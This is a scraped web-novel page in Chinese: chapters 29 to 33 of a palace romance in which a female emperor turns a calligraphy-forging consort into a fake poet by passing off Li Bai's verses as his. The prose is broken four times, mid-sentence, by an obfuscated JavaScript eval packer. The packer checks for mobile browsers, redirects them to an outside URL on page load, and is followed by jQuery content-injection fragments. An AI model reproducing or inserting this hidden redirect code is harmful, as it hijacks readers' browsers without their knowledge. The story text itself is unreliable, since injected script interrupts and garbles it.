;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264990|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陛下开心,臣自然要好好褒奖他,绫罗绸缎、华贵摆件、香茶美酒,只要是小儿郎喜欢的,臣一样不差的都送进了凝露殿,陛下可还满意?” 满意个屁!她在凝露殿连口像样的水都没喝到!他倒好,张罗着送了这么多东西。真是白白便宜了瞿辰那小子。 裴源越想越气。 陆长行余光瞥见凤帝紧抿着嘴唇,一脸气闷,一时忍不住笑意。急忙开口说道:“虽是花茶,但泡久了也会苦涩,陛下可莫要辜负臣的一番心意。” 桌案也很快收拾妥当,陆长行起身道:“栖梧宫还有琐事等臣回去处理,臣先行告退。” 说完,翩然而去。 裴源郁闷的将茶一饮而尽,愤愤起身前往了凝露殿……旁的绮梦殿。 凤帝的不期而至,令宫人手忙脚乱,唯有绮梦殿的主人气定神闲。放下手中墨块后,起身行礼,声音温润如玉:“陛下。” 裴源抬手虚抬,示意其起身,径自绕过他稳稳落座,还将目光落在桌案上那方墨块上:“徽州墨块,质地细腻,色泽乌黑发亮,朕亦甚喜。” 傅逸春起身,微微一笑,语气谦逊:“陛下好眼力。徽墨素以制作工艺繁复、产量稀少闻名,因而尤为贵重。这一对方墨,还掺了洒金,乃是君后所赠,臣甚是欢喜,不舍得用。” 裴源哼道:“他倒是大方,朕那点家底都快被他败光了。” 傅逸春接过宫侍奉来的茶:“陛下说笑了,您乃一国之君,享天下养,凭君后一己之力怕是很难败光。” 裴源不语,见砚台中还有余墨,故而提笔洋洋洒洒的写下几行字。 ‘富强民主,自由和谐,团结友善……’ 然后起身示意他坐:“君后夸赞你临摹技艺高超,写给朕瞧瞧?” 傅逸春凝视着宣纸上那几行莫名其妙的词组,亦难以捉摸凤帝的真正意图。于是沉吟片刻后缓缓落座。 上头的墨迹尚未干透,可见凤帝的笔法带着几分锋芒。傅逸春仔细观察着凤帝留下的笔锋,片刻后提笔蘸墨,笔尖在纸上刚一落定,词组便如行云流水般一气呵成,毫无滞涩之感。 裴源在一旁看得真切,傅逸春神情专注,一瞬间,气质竟陡然巨变,整个人似沉浸在了宣纸的方寸之间。 裴源端起宣纸打量,果然,他所书写的字迹,竟与自己所写一般无二,不禁心生好奇:“你如何练就这般能力?” 傅逸春起身恭敬回她:“母亲因担礼部尚书之职,对儿女教育十分重视,唯恐子女在外因学识不通,遭人嗤笑有损门楣。故而臣亦有幸跟着嫡姐嫡兄去私塾读了两年。嫡兄性情顽劣,不好读书,又怕母亲知晓责骂,便以笔墨纸砚为利,让臣帮他完成先生布置的课业。此事不知怎的传了开去,许多郎君纷纷带着银钱寻到臣这,时日一久,臣便学会了。” 裴源放下宣纸:“朕若是你,便去临摹名家字帖,可比帮人写课业挣的多。” 傅逸春嘴角微勾。 裴源看在眼里:“干过?” 傅逸春颔首,无比谦逊:“干过……亿点点。” 30. 第 30 章 提及临摹一事,傅逸春颇多心得。 于他而言,名家字帖虽亦有所助益,然其收益终究寥寥。真正收益颇丰的,乃是临摹书法大家、大儒的绝世字画。 裴源微微蹙眉,沉声道:“既为绝世,字画必当仿旧。单凭你的笔墨,恐难成其韵。” 傅逸春点头:“仿旧之事,另有高人操持,臣未亲眼得见,不知其中玄机,不过一幅字臣怎么也能挣到几十两银子,但那也是入宫前的事了。” 裴源闻言,不禁冷笑一声,端着茶杯转身踱步至茶案旁,语气微带讥讽:“令堂任礼部尚书多年,得了清正廉洁的贤名,未曾听闻有半分敛财之举。可此次傅府被抄,仅白银便有数十万两之巨,那些古董字画更是不计其数。如此家财,竟对自己的骨肉如此苛待,真让朕摸不着头脑。” 傅逸春紧跟其后,得闻凤帝之言,下意识看向女子,猛然察觉,凤帝与记忆中的样子早已大不相同,只那一双凤眸就比从前要温和许多。 似注视的目光过于专注,引起了女子的注意。裴源下意识看向他:“为何这样看着朕?” 傅逸春这才敛起目光:“臣只是意外,这个疑问……竟能从陛下口中说出。” 裴源先是一愣,旋即恍然。 若论处境,她这个自幼被先帝冷落的皇女,比之傅逸春在傅家有过之而无不及。 念此,裴源随口道:“也许,有的孩子生来是错,不得父母喜爱,也是平常。” 傅逸春不置可否。 空气凝滞了许久,裴源摩挲着黑玉扳指陷入沉思,再开口时,似早已忘记了刚刚的对话:“临摹终究难入正统,唯有让他人临摹于你,方为至高境界。” 傅逸春一头雾水:“臣……臣不明白。” 裴源抬眸看着男子,一脸正色:“你可以自己做书法大家。” 傅逸春一愣,旋即轻笑出声:“陛下再说什么呢?臣不过深宫小君,怎么能做书法大家?” 裴源:“书法大家是人,你也是人;书法大家会写字,你也会写字;她们能做大家,你为何不能?” 傅逸春语塞:“这……” 裴源:“你只要听朕的安排,将来不仅会成为书法大家,还会成为京城最有声望的名儒,朕予你名望,你大可坦然接受。你是凤帝的后君,纵然有人拆穿了你的身份,还有朕顶着,要不要试试?” 傅逸春沉吟销许:“臣明白了,陛下是要臣……做旺铺中陈列的商品。” 裴源并未否认:“你可以拒绝。” 傅逸春沉默几息,摇了摇头:“能帮到陛下,臣不胜欣喜。” 裴源啜饮一口香茗,茶香沿舌尖蔓延滑入喉咙,再开口时,似唇齿都溢出茶香:“互帮互助,合作共赢。” 言此,茶盏落案,裴源起身,途径傅逸春身侧时重重拍了拍他肩,言辞无比恳切:“明日起记得来凝辉殿报道。” 彼时凝露殿内,午后方才重新摆置的精致瓷器,随着瞿辰一声歇斯底里,刹那间,又碎成满地狼藉。 恰有一片碎瓷滑至凤帝脚下,空气凝滞,宫人发现来人,皆齐齐跪地叩首。唯有瞿辰双目赤红,伫立原地,竟无半分请罪之意。 良久,凤帝漠然开口,声音如寒霜覆满寝殿:“朕看瞿卿君似已疯魔了。” 毕先闻眼一愣,旋即磕头咚咚作响:“陛下恕罪!瞿卿君只因听闻家中长辈身染沉疴,情急之下,才如此失态,望陛下体恤卿君一片孝心。” “是吗?”凤帝冷眸微抬,语气冷漠如冰:“那朕便怜瞿卿君一片孝心。即日起,凝露殿宫门紧闭,退去所有伺候宫人,仅留两名贴身侍奴,以免宫人频进频出,扰乱祈福虔诚。瞿卿君,从今以后,你便安心留在凝露殿,替家中长辈祈福吧。” 毕先惊骇:“陛下!” 裴源懒的倾听,一拂广袖,转身愤然而去。 乌宛白紧随其后,频频偷瞄凤帝脸色似要安抚几句,却见凤帝的脸色由起初的愤怒,缓缓变成疑惑,最后陡然转变前行的方向,拐往了栖梧宫。 栖梧宫灯火通明,户对下摇曳的宫灯仿佛在竭诚欢迎凤帝的到来。 裴源阔步其间,君后似已恭候多时,见其身影,撩开袍子缓缓跪地:“臣有罪。” 裴源冷哼一声:“朕就知道!” 说话间,黑着脸从他面前绕过,熟门熟路的上了方台:“瞿辰平素老实巴交的,筵席上屁都不放一个,好端端的,怎么莫名就疯了?合着是君后的手笔。” 茶壶放置一旁,里头的沸水早已变的温热,用来泡花茶最好不过。 裴源一拂手,免了解安伺候,自顾冲了一杯茉莉花,清香萦绕间,君后早已自行起身行至案旁,依旧是颔首而立,只是平常垂下的眼眸,偷偷打量着凤帝。 “陛下生气了?” 裴源侧身拉了凭几向前,端着花茶侧倚,闻声,面色冷漠:“有那么一点点。” 陆长行抿抿唇,正要上前时,听凤帝接着说:“摔了朕那么多瓷器,朕想想就心疼。” 陆长行:“……” 裴源抬眸又道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271694|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“就从你的月例银子扣!让你整日大手大脚的!” 陆长行哭笑不得,坐在茶案另一侧,缓缓开口:“陛下也不问问臣,为何要‘陷害’瞿辰?” 裴源轻啜一口香茗,片刻后,声音柔和了许多:“听他唤裴若,又提及什么双生子,心中大致有了些眉目。” 陆长行沉默片刻,微启薄唇:“南阳王昔年与先盐铁使往来甚密,此情为先帝所察。是以先帝命其远赴南戍郡,戍守边陲。南戍郡地势低洼,常年积水,蚊虫肆虐,环境甚为恶劣。陛下念及姐妹情谊,登基后便将其自南戍郡调回,以南阳为封地,赐其亲王之位,以示尊崇。至于瞿辰……两人并无明显交集,不过有流言说,南阳王被赶出京城那日,他骑马一路追随,后,又若无其事的回了瞿府。” 裴源摩挲着黑玉扳指,啧啧称奇:“那大抵是被裴若忽悠了,命他忍辱负重,来日等她荣耀加身归京,再八抬大轿,迎娶他为正宾。却不想,裴若人未归来,瞿辰先一步入了深宫。” 此时灯火通明,将裴源的眼眸映得雪亮。陆长行瞧得分明,自己的后君与别的女子不清不楚,作为帝王的她,眼眸中竟无半分波澜。 察觉君后注视,裴源不禁反问:“为何如何看朕?” 陆长行伸手去端茶盏,从容道:“臣只是好奇,南阳王未允瞿辰追随,是否是心疼瞿辰?” 裴源嘴角微扯,露出一抹冷笑:“一个满脑子大业的女人,岂会在意一个小儿郎的真心?未允瞿辰追随,不过是觉得他留在京城更有价值而已。而今看来……”裴源敛起笑意,面容多了一丝冷峻:“这瞿辰情绪太过急躁,俨然不堪大用。” 那这鸽子,到底会在西六宫的何处落脚? 思量间,君后已悄然枕在她的膝头,裴源搁下茶盏,轻抚其发顶青丝,徐徐道:“朕欲扶持傅逸春,使其成为名家大儒。” 陆长行微微一怔,旋即了然于心:“陛下年岁尚轻,有些话由陛下亲口说出,难免欠缺分量。若能借名儒之口,向天下宣告,自是妥帖许多。只是如何造势?陛下可有主张?” 裴源轻捻他的发丝,目光微抬,淡然道:“朕脑海里尚存诗词三百首,摘选其中几首,再加上傅逸春苍劲有力的笔墨,一经传播,必将名声大噪。” 她微微蹙眉,似在苦恼:“只是这时机,朕尚未想好。” 陆长行笑了笑:“仓颉作书,而天雨粟、鬼夜哭。作为文字始祖,谷雨那日,全城祭祀仓颉,新的笔墨大家横空出世,反成了天命所授之象。陛下以为如何?” 31. 第 31 章 先帝重文,对名儒大家极其敬重尊崇,各州县文昌庙皆立仓颉殿,每逢谷雨时节,仓颉殿香火旺盛,京城更是人满为患。 恰逢春闱之年,小凤帝为感念上苍庇佑我朝文脉,御驾亲临,焚香祝祷。 “吉时已到。” 随着礼官一声高呵,青铜编钟的浑厚声响似穿透了绵绵雨幕,直达天际。 小凤帝跪拜上天,双手合十,神情庄重而虔诚:“愿,天佑我朝,文脉延绵,字如珠玑,诗若繁星,天下学子皆得妙笔生花,文运昌隆,国祚永固。” 在场的群臣与学子们无不深受感染,纷纷跟着小凤帝三叩首,齐声高呼:“愿我朝文运昌盛,才俊辈出!” 不知是诚意感动上苍,还是上天真的应了凤帝所允,众人的高呼声带着回响萦绕上空之时,竟引来了天空异象。 无数宣纸竟凭空在文昌庙的上空四散降落,有的落在仓颉像的头顶盘旋,有的落在了人群之中。宣纸洁白如雪,在雨幕中飘飘洒洒,仿佛是天降瑞雪一般。 事发突然,禁军卫急忙将小凤帝环护其中,举着手中长刀警戒四周。小凤帝不明所以,看向场下,许多人早已捡起了地上的宣纸诵读,继而,激动叹服:“好诗、好字啊!” 渐渐地,喧闹声引起了小凤帝的不满:“何人敢在文昌庙撒野?禁军卫,速速追击此等装神弄鬼之徒!” 禁军领命,转身一闪即逝。 太学博士柳文澜闻声踉跄扑倒在凤帝面前,她的双手紧紧攥住几张宣纸,头上的官帽斜斜欲坠,也全然不顾,激动道:“陛下息怒!陛下且看这些手书!有的笔法肆意癫狂,又自成章法;有的银钩铁画,力透纸背;还有的笔势如惊鸿游龙,灵动飘逸……更遑论所书诗词,奔放不羁,气势恢宏,堪称绝世佳作!” 翰林院学士亦手持几份手书,亦是激动的高声念诵:“飞流直下三千尺,疑是银河落九天。短短两句,便描绘出一场壮丽奇景,令人叹为观止!还有这句‘天生我材必有用,千金散尽还复来’,如此豪迈自信,乃我辈之荣……”注1/注2 两人声音在人群中回荡,引得众人纷纷点头附和。 恰在此时禁军回报:“陛下,文昌庙后是深不可测的深渊,卑职站高处俯瞰,未曾发现人影。” 齐翁站在群臣之首,亦结果其中几页手书阅读,浑浊的眼眸骤然一亮,但开口却带着不屑:“故弄玄虚!陛下可不要被这些伎俩给蒙骗了。” 小凤帝闻言,当即冷哼一声:“一派胡言!若无人踪迹,那这些手书难道凭空出现不成?” 人群议论纷纷,嘈杂声此起彼伏。 忽而,学子中有人开口:“我亲眼瞧见,这些书卷似从半空凭空而现。” 另一名学子附和道:“是啊,是啊,就像是鹅毛大雪从天而降。” “你们说,是不是陛下祈福感动上苍,从而,上天便给予了回应?” “若真回应,就把这名儒亲自送到这文昌庙岂不更妙?” “……” 场面一时哗然,议论声此起彼伏,终是司天丞缓步上前,声音掷地有声:“陛下,臣刚刚观此异象,并占卜一卦,乃为乾卦。此卦象意为天降祥瑞。这些手书,看似凭空而至,实则是文昌帝君感念陛下虔诚所请,降示人间。臣揣测,应是文昌帝君随手一拂,便将这位大家书案上的手书,‘带’到了陛下眼前。且今日恰逢祭祀仓颉之日,天时地利,皆有玄机。” 她言罢,重重一跪,语气中带着一丝不容置疑的坚定:“臣斗胆揣测,此人或许正是仓颉转世,为壮大我朝文运而来。臣恳请陛下,为我朝文运,找出此人,为我朝文脉续写辉煌,延续千年荣光。” 此言一出,太学博士与翰林院学士皆是一脸振奋,纷纷跪地应司天丞所求。 远处的学子们更是激昂附和,呼声如潮,神情中满是对文运昌隆的期盼。 小凤帝却似还在状况之外,半晌后才道:“那此人姓甚名谁?家住何方?” 司天丞阖眼掐诀,再开口时,语气十分笃定:“乾卦有蓬勃生机之意。眼下谷雨,正是万物生长的时节,没有什么能比田中破土的庄稼更蕴有生机。臣推断,此人乾造,位于西北方,身骑赤色马,在田间小道肆意奔驰,兴许还即兴赋诗一首,其诗必是字字珠玑,句句生辉。” 场面在瞬间凝滞,空气仿佛被凝固,众朝臣皆屏息凝神。 片刻之后,齐翁开口:“乾造?那此人莫非是男子?” 司天丞自若开口:“齐翁,观音菩萨降世之前,亦是男子之身;仓颉先师,更是男子。神明造化万物,本无男女之别,皆为大道所化。唯有凡夫俗子,才会拘泥于坤乾之分,齐翁,您着相了。” 齐翁冷笑:“男子无才便是德,后宅相夫教女才是本分,如此放浪形骸不知所谓,俨然德行有亏!况且,谁又知晓这些诗词是否为他所做?” 小凤帝听罢,似觉赞同,开口时语气凛然生威:“齐翁所言极是!来人!速速前去司天丞大人所说方位探寻!若真有此人,朕定要让他当众赋诗题字。若他真能随口做出千古名句,写出绝世好字。朕便当众对他磕三个响头,以示对文昌帝君降吉的敬仰感恩,并赐此人尊封,享天下养。但倘若此人乃沽名钓誉之辈……” 她顿了顿,目光如剑,扫过众人,声音中透出不容置疑的威严:“朕必严惩不贷,绝不姑息!” 禁军领命而去,尽管细雨如绵,却丝毫不影响在场之众翻阅那些凭空而降的手书。 而气氛,也渐渐发生了微妙的变化。 起初,尚有人与小凤帝抱有相同的想法,认定这是有人故弄玄虚,但随着通读了那些诗句,不禁对此人心生敬仰。 柳文澜捧着手书:“此人寥寥几句,就能诉尽人世沧桑,且这笔墨浑厚,若非阅尽沧海,何来如此境界?” 翰林院学士点头附和:“是啊,若此人真是男子,那必是天师谪凡。不是世俗磨砺他,而是文昌帝君有意磨砺我等,让我们放下男女之见。” 齐翁依旧持不同意见,双方各执己见,毫不退让。 只有凤帝端坐殿内,静候时,宫侍奉上温茶,裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283592|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 源正要伸手去接,一见端着茶杯的白皙玉指,眉宇微挑,便对上了一双柳叶眸。 “胡闹。” 裴源的声音很轻,好似一道青烟,吹入空中便散了。 陆长行嘴角微扬,颔首垂眸退至乌宛白的身后,紧身的宫侍服将他身姿勾勒的有致,不经意的落入凤帝的余光,裴源按捺下心底的情绪,啜饮香茗。 红茶中掺了桂花,入口温厚且有花的余香。 一盏茶见底时,陆长行躬身而退,再出现时,手里多了一盏青瓷盖碗,小心翼翼放置在了扶案上,而后伸手接过了裴源手里的茶杯。 许是有意,指尖轻抚过裴源手背时,宛若鹅毛搔人心田。 裴源抬眸看他,只瞧见他眼尾的小痣红的妖冶,一瞬间,心头涌动,竟觉得这庙宇都少了几分端庄。 似察觉了凤帝的注视,陆长行轻声问:“真跪吗?” 裴源凝神不语。 一炷香后,陆长行看到了答案。 赤红马架着一辆破旧的马车缓缓出现在文昌庙宇前。无人知晓马车中坐的神秘人到底是何样貌。即便知晓高台之上的女子就是当今的天下之主,他亦未下车相见,只命梳着两支朝天髻的小书童替他言说。 小书童不过七八岁的模样,面对凤帝的质问应对自如,丝毫不露怯。 “我家先生有言,今日之事,非关帝王权贵,乃为文脉交流,诗文面前,众生平等。” 凤帝面露愠怒,呵道:“一派胡言,简直放肆!” 马车中人闻言,“哈哈”大笑出声,声音苍老浑厚,俨然像个老者。他依旧未曾露面,却当众吟诵一首诗词抒怀此时心境:“大道如青天,我独不得出……”注3 场面静默数息,众人皆被这突如其来的吟诵所震撼。反复咀嚼着老者随口吟诵的诗句后,柳文澜更是激动上前躬身请教:“先生此诗,真乃惊世之作!敢问先生,这诗中之意……” 老者的声音从马车中传来,丝毫未有私心,一一作答,俨然名家儒者胸怀。每一句话更如金石之音,让在场的文人墨客无不折服。 凤帝再次表达不满,当众斥责他故弄玄虚:“藏首藏尾,老鼠做派。” 老者又是哈哈一笑,声音中带着一丝不屑:“……安能摧眉折腰事权贵,使我不得开心颜。”注4 这首诗宛如一声惊雷,炸乱当场。这次不仅是柳文澜,在场学者无不恭敬上前,甚至有人对凤帝不敬天师而颇有微词。 凤帝面色不悦,一时没了主见,只得求助齐翁:“齐翁,帝王一诺,重如千钧,此人当众赋诗两首,俨然学识在胸,但朕是天下之主,怎可当着天下学子的面,对他一个男人磕头行礼?齐翁,朕现下要如何是好?” 两首诗词落地,齐翁内心亦生出波澜,却依旧不愿认输,故而沉吟道:“诗词倒是豪迈,此人若真是神仙谪凡,想必见解独到。” 她言此,面对凤帝重重一叩:“陛下,为确保文脉清流,请允老臣与其殿中文辩,若此人真乃盖世之才,老臣愿替陛下对其三跪三叩,以示尊崇!” 32. 第 32 章 几日前,凝辉殿。 阳光穿过白纱洒入内殿,光影如雨后氤氲的水汽,无比柔和,可研磨题字的傅逸春依旧眉头紧锁,似有愁云。 裴源看在眼里,放下朱笔端起茶杯,随口问道:“怎么了?” 傅逸春眉心更紧,抬眸望向方台端坐的凤帝:“写字背诗对臣来说并不困难,可适才陛下说,齐翁恐会要求文辩,这……臣恐怕不行。” 男子抿了抿唇,低声道:“对方可是三朝元老齐翁卿,眼界宽广,见识非凡,臣一介小君怎能争辩的过?” 裴源闻言一笑:“原来是这个事?” 凤帝放下茶盏,语气淡然:“辩论的本质在于思想的碰撞与交流,而非单纯的胜负判定。何况你所塑造的是一位豪放不羁、心胸豁达的诗人;而齐翁侍奉过三位帝王,功绩之外,尤善人心揣度,旁征博引之术,术业有专攻,你输给她,情理之中。” 裴源缓步来到他身前,拿起墨块缓缓研磨。墨香在空气中弥散,窸窣的磨墨声中,女子轻柔的声音再度在耳畔响起:“齐翁此人,自负自满,为证己学,必言辞犀利,让你毫无招架之力。你只需弱化锋芒。她若论如何实现天下大同,你便回她:‘北边的雪,飘不到京城。’她定会斥你不知所谓,你便笑而回之:‘天下之争,由来已久,大同不过悖论耳。倒不如赛外赏雪时,想想如何改变民生。’” 傅逸春紧蹙的眉宇微微舒展,沉吟片刻,斟酌道:“臣好像懂了,可又好像没懂。” 裴源只得按照他的逻辑,点拨道:“观自在菩萨……” 傅逸春眨眨眼,不自信道:“……不自在?” 裴源赞赏的看着他:“行深般若波罗蜜……” 傅逸春似明悟了凤帝的逻辑,开口无比坚定:“一行就是几千里。” 裴源微微一笑,语气从容而淡然:“便是如此,切莫让她窥透你的逻辑。与她鸡同鸭讲,她论大局,你便言大义;她言文以载道,你便说文以娱情,随性而为,看破放下,亦能授业解惑。她若论王朝兴衰,你便回她:‘历史车轮滚滚而来,白骨皆会成沙,唯有知识万世流芳。’而后一笑了之,轻叹一句‘无趣无趣,不如吃酒去~’如此一来,最后便是她赢了,但她赢得不痛快;你虽输了,却输得从容,因为从一开始,你便不计较输赢。自有饱学之士,羡慕你的心性与豁达。” 傅逸春笑道:“臣懂了,必不会让陛下失望。”他默了默又问:“臣那日便要应陛下所请,入主明堂吗?” 裴源摇头:“不会!朕那日甚至都不会留你,任你自行离去。待文臣学子奏本所求,朕才会勉为其难派人招揽。如此方不刻意,你的地位也会更为稳固。” 傅逸春微微蹙眉:“当真会有文臣学子会求男子入仕吗?” 裴源放下墨块,笑而不语,不知是成竹在胸,亦或是……她也不知答案。 彼时,天空中层层叠叠的乌云早已悄然散去,带走了绵绵细雨。阳光倾洒而下,照耀着万物。文昌庙宇之上,水汽氤氲,映出了七色彩虹。 明明是绝艳的景色,却无人观赏。群臣与学子们只将大殿围得水泄不通,个个屏息凝神,静观文辩交锋。 齐翁端坐殿中,神情严肃,言辞犀利。而与之相对的,是一个头戴帷帽、坐姿恣意的老者。 无人知晓帷帽之下是一张怎样的脸,只知他几次三番,四两拨千斤的就将齐翁犀利的问题化作轻羽,四散在殿中。 随着齐翁眸色越来越锐利,言辞越来越尖锐,老者却只是爽朗大笑,转头透过密密丛丛的人群,望向天空。他起身一拂衣袖,朗声笑道:“罢了罢了,长短胜负甚无趣味。难得这文昌庙宇之上映出七彩云霞,山水之间自有诗意,不如归去,诸位自便。” 那日之后,长者的诗集便在京城的各个学馆传阅,其字迹更被各个书局拓印,因不知长者名讳,只知其头戴帷帽,于是市井予以长者帷帽诗仙尊称,更有人说他是文昌帝君的弟子下凡,只为状大凤国文脉。 流言愈演愈烈,就连朝堂亦为请老者入仕,争论的不可开胶。 每每此时,齐翁都十分决然:“大雨淹没了南边的良田,洪浪吞没了朝廷的银舟,你们不替陛下分忧,还有心思帮一个男人争论入仕与否?简直不知所谓。” 裴源亦道:“齐翁言之有理!朕今日就把话撂这,哪怕他是文昌帝君转世,朕的江山,也绝不允许男人登堂!” 为了南边的灾情,凤帝可谓殚精竭虑,自打赈灾银舟沉没一事传回朝堂,她更是夜不能寐。 谁知朝臣只在意什么诗仙?她如何不怒? 言此,直接起身愤而离去。 凝辉殿外,陆长行似已恭候多时,案牍上,菊花茶汤清香萦绕,裴源垂眸看了眼茶盏中绽放的花束:“花开的好好的,非要剪下来泡水喝,朕实在弄不清你们这些儿郎家的心思。” 陆长行坐在窗下看着诗仙文集,闻言,柳叶眸抬眼落在女子冷白的面容上:“你们?”他幽幽道:“看来除了臣的这盏菊花,还有牡丹、月季、白茉莉喽?谷雨之后,御花园百花争艳,陛下满足口福之时,也需克制自身,莫要贪杯。” 裴源:“……” 裴源笑笑:“难怪今日君后得闲儿。合着是来教训人的。” 陆长行缓缓翻了一页书,语气幽凉:“臣哪里敢教训陛下,分明是陛下沉溺花田,臣若再不巴巴过来露个脸,陛下怕是要忘了臣了。” 裴源挑了挑眉,干脆踱步至陆长行身畔,戳了戳他的脸颊:“嫉妒吃醋,君后大忌。” 陆长行一把就握住了她的手,随着他抬头,阳光耀在他的眸低,闪烁光芒,言辞亦带着挑衅:“臣以为陛下就喜欢臣嫉妒吃醋,莫非,臣会错意了?” 君后的手好似没有暖过,尽管阳光直照,依旧凉如冰霜,裴源起初以为是天冷所致,而今竟也懒的去思考,只顺势将他的手反握在掌心:“没有会错,朕确然喜欢君后落寞伤怀的样子,看着有趣。” 一丝愠怒在柳叶眸中生出,就连眼尾的红痣都格外鲜红,陆长行冷哼一声,挣脱她的拉扯起身道:“那恭喜陛下,您又成功了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292879|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他放下诗集,微微屈身:“臣告退。” 说着,气呼呼的就要走。却被裴源拦在身前:“如今火气是越来越大了,朕一句戏言,你当得什么真?” 陆长行垂眸,目光泠然凝她片刻,女子非但无悔意,还一脸笑嘻嘻。 陆长行怒气更盛,一时竟忘了君臣之别,反身便将女子欺压在窗前。 女子全无防备,笑容僵在脸上几息,回过神后,稍显愕然,却也并未露出怒意,反倒是一脸玩味的看着男子。 男子后知后觉,仓惶后退时,脸颊如同火烧一般,颔首恭敬道:“臣失礼。” 裴源眉梢微挑,意味阑珊的勾起一抹浅笑,而后坐在窗下的椅木上,将手臂轻轻搭在窗台,目光穿过雕花的窗棂,落在廊下青砖上。 仿佛很多次,陆长行就站在那里凝望殿中,若见其他后君在,他会颔首静默一会儿,却不会着人通传,只会走的无声无息。 距离太远,裴源其实看不清他落寞与否。但会当他失落,而后心生起无名的波澜,脸上忍不住笑意。 原主待陆长行是不一样的,裴源感觉的到,甚至影响到了她的七情六欲,所以她有时分不清,心底泛起波澜的,到底是原主,还是她? 她实说不出个所以然,只知一勾手,那个冷如月光的男子便会缓缓走到她的跟前,颔首垂眸,静待吩咐;或者缓缓枕在她的膝上,温声细语的同她讨论前朝政务,后宫诸事。 可那个只知严格恪守君后之责的人,似乎不是他的真实性情。 而刚刚那个会因生气而对她欺身而上的人,才是真正的陆长行。 “朕刚刚言辞不当,你若不欢喜,朕今后便不说了。” 裴源声音虽然平淡,却十分轻柔,仿佛是在安抚。 陆长行依旧颔首垂眸,只身未动,袖口位置微微浮动,广袖宽大,裴源看不见他的小动作,见他久未言辞,似觉得无趣,起身道:“朕还有公务要忙,君后是留下还是离开,随意便好。” 见裴源迈步向前,陆长行侧身退了半步,待女子行至他的面前时,才轻声开口:“臣不欢喜的话,陛下不再言说。那臣不欢喜的事,陛下能否不做?” 虽未言明,可他不欢喜之事昭然若揭。 裴源步子一顿,想了想,侧身与之面对面:“你我乃帝王夫妻,君后有此一问,不觉得天真吗?” “天真与否,”陆长行喉结上下滚动,似有千般愁绪哽在其中,再开口时,声音竟带着几分颤抖:“归根结底,要看陛下可愿纵容。” 裴源微微蹙眉,恰逢缓缓抬起的眼眸四目相对。柳叶眸狭长,却蕴着浅浅水汽,在阳光下折射出刺目的光晕。 裴源下意识紧紧按住黑玉扳指,指腹很快泛起一层凉意。可男子眼底的水汽却愈发浓重,最后竟汇聚成一片汪洋,化作断了线的珠子,在裴源的面前滑落,一颗一颗重重砸在地面,却在裴源的心底泛起了一阵又一阵波澜。 裴源一时无措,想也不想拥他入怀:“纵着,纵着行了吧,祖宗你快别哭了。” 33. 第 33 章 眼泪是有温度的,渗透过明黄常服,又浸润了丝绸里衣,最后‘落’在了裴源的肩膀上,初时滚烫,烫的裴源心脏一缩,渐渐地,又一片冰凉贴在皮肤上。 裴源只能不停的抚着他的后背,直至男子的呼吸从沉闷变的平缓,最后干脆一歪头,将下巴枕在了她的颈窝里。颇有些恃宠而骄的随意。 裴源看不到他的神色,只在漫长的静默声后,听他的声音响在耳畔:“陛下善藏拙,臣从前都不知,您有这般才情。” 裴源:“……” 此情此景,不说点阁中情话?提劳什子的才情,未免有些不解风情,难怪从前不得宠! 裴源郁闷道:“朕哪里有什么才情,都是背来的。至于从何处背来,原创诗人是谁,朕三言两语也说不清楚。” 陆长行不在追问:“那陛下打算何时‘招揽’这位兜帽诗仙啊?” “齐翁不同意终究是个麻烦,只能再等个时机。”裴源道:“既然是神仙转世,总得有个神技才更能服人。” 说话间,她轻轻挣脱了怀抱,才得以看清陆长行的神色。柳叶眸微微泛红,安安静静地迎着她的视线,眼神里似透着几分幽怨。裴源忍不住抬手去触碰他的眉眼,尽管指腹触碰得极轻,他的眼眸还是微微发颤。最后,她的手指只能沿着眉梢下移,落在那颗朱红小痣上。 那应该是颗泪痣。 “难怪这么爱哭,都是它害的。”裴源道。 陆长行静默几息,负气道:“分明是陛下害的,怨它作何?” 